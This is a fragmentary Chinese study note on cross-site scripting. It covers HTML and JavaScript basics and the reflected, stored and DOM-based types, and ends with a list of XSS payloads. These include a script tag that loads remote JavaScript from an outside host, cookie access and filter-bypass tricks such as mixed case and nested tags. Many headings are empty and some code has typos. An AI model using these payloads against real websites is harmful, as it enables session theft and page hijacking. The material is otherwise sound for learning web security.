XSS漏洞

&lt;!doctype&nbsp;html&gt;&nbsp;//声明文档类型，由渲染引擎解析<br>&lt;html&gt;&nbsp;//根标签<br>&lt;head&gt;&nbsp;//头部标签，<br>&lt;title&gt;&lt;/title&gt;&nbsp;//标题标签&nbsp;，位于页面最上方定义浏览器工具栏中的标题<br>&lt;/head&gt;<br>&lt;body&gt;&nbsp;//&nbsp;主体标签，给用户、浏览者看<br>&lt;!--&nbsp;在此处写注释&nbsp;--&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>&lt;head&gt;&nbsp;&lt;/head&gt;和&lt;body&gt;&nbsp;&lt;/body&gt;为并列关系<br>&lt;head&gt;&nbsp;&lt;/head&gt;和&lt;title&gt;&nbsp;&lt;/title&gt;

常见的单标签

常见的双标签<br>

form标签<br>

JavaScript是一种直译式的脚本语言、是一种动态类型、弱类型、基于原型的语言，内置支持类型。<br>虽然JavaScript使用了Java这个名称，但实际上JavaScript与Java之间并没有任何关系。<br>

可以将文本动态的放入HTML页面

可以对事件做出响应

可以读写HTML元素

可被用来验证用户输入的数据

可被用来检测访问者的浏览器，并根据所检测到的浏览器，为这个浏览器载入相应的页面

可被用来创建cookies，用来存储和取回位于访问者的计算机中的信息

可利用Ajax技术来完成和服务器的直接通信，无刷新的修改当前HTML页面内容

写在html的形式

引用文件的形式

alert(’xss‘&nbsp;“”&nbsp;//&nbsp;``)&nbsp;功能是产生一个带确认按钮的对话框，上面显示括<br>号内的信息

confirm(“文本”)&nbsp;拥有确定和取消的提示框

prompt(“文本”,“默认值”)&nbsp;可以输入文字的框

&lt;a&nbsp;href=&nbsp;“demo.html”&nbsp;事件=&nbsp;"alert('1');"&gt;test&lt;/a&gt;

&lt;img&nbsp;src=#&nbsp;事件=&nbsp;“prompt(1)”/&gt;

鼠标事件

定义

表现形式

作用

定义

存储位置不同

存储容量不同

存储方式不同

服务器压力不同

主要用于将恶意脚本附加到URL地址的参数中

前端

一次性

前端执行

不会储存在后端数据库

攻击者通过Email向受害者发送xss链接和恶意脚本

此类XSS不需要用户单击特定URL就能执行跨站脚本。<br>攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中。<br>当受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

后端

持久性的

前端执行

储存在后端数据库

攻击者向服务器上传xss代码

die()&nbsp;//函数输出一条消息，并退出当前脚本

trim()&nbsp;//函数从字符串的两端删除空白字符和其他预定义字符

stripslashes()&nbsp;//删除反斜杠

mysql_real_escape_string()&nbsp;//转义&nbsp;SQL&nbsp;语句中使用的字符串中的特殊字符

mysql_query(query)&nbsp;//mysql_query()&nbsp;函数执行一条&nbsp;MySQL&nbsp;查询

mysql_error()&nbsp;//返回上一个&nbsp;MySQL&nbsp;操作产生的文本错误信息

DOM&nbsp;XSS的XSS代码不需要服务端解析响应的直接参与，触发XSS的是浏览器端的<br>DOM解析。<br>用户在客户端输入的数据如果包含了恶意JavaScript脚本，而这些脚本没有经过适当的<br>过滤，应用程序就可能受到基于DOM的XSS攻击。<br>自己弹自己

前端、特殊的反射型XSS

一次性的

前端执行

不会储存在后端数据库

程序执行不依赖于服务器端的数据<br>

web&nbsp;server不参与，仅仅涉及到浏览器的XSS

由节点构成的集合

XSS原理客户端的脚本程序可以通过DOM动态地检查和修改页面内容。<br>程序执行不依赖于服务器端的数据，从客户端获得DOM中的数据并在本地执行。<br>浏览器用户可以操纵DOM中的一些对象，例如URL、location等。<br>用户在客户端输入的数据如果包含了恶意JavaScript脚本，而这些脚本没有经过适当的过滤和消毒，<br>应用程序就可能受到基于DOM的XSS攻击。

漏洞发生原因跟服务器解析无关，纯粹是JS代码读取了URL内容导致。<br>dom-xss取决于输出位置，并不取决于输出环境，因此domxss既有可能是反射型的，也有可<br>能是存储型的

document.referer&nbsp;属性

window.name&nbsp;属性

location&nbsp;属性

innerHTML&nbsp;属性

documen.write&nbsp;属性<br>

&lt;script&gt;location='https://www.baidu.com'&lt;/script&gt;

&lt;script&gt;alert(documet.cookie)&lt;/script&gt;

&lt;script&gt;alert(1)&lt;/script&gt;

&lt;script&nbsp;src=http://baidu.cn/xss/xss.js&gt;&lt;/script&gt;

‘&gt;&lt;script&gt;alert(1)&lt;/script&gt;

&lt;img&nbsp;src=x&nbsp;onerror=alert(/xss/)&gt;

&lt;img&nbsp;src=javascript:alert(1)&gt;//版本，E7.0|IE6.0，才能执行

&lt;img&nbsp;src=#&nbsp;onmouseover="alert(1)"&gt;

"&gt;&nbsp;&lt;a&nbsp;href=javascript:alert('xss')&nbsp;&gt;

"&gt;&nbsp;&lt;a&nbsp;href=&nbsp;""&nbsp;onclick="alert(1)"&gt;&nbsp;xss&lt;/a&gt;

&lt;ScRiPt&gt;alert(1)&lt;/ScRiPt&gt;

&lt;sc&lt;script&gt;ript&gt;alert(/xss/)&lt;/script&gt;

``&nbsp;绕过单双引号的过滤

"&gt;&nbsp;&lt;script&gt;alert(1)&lt;/script&gt;

&lt;&nbsp;a&nbsp;href=&nbsp;&gt;&nbsp;1&nbsp;&lt;/a&gt;

&lt;&nbsp;img&nbsp;src=1&nbsp;onerror=alert(1)&gt;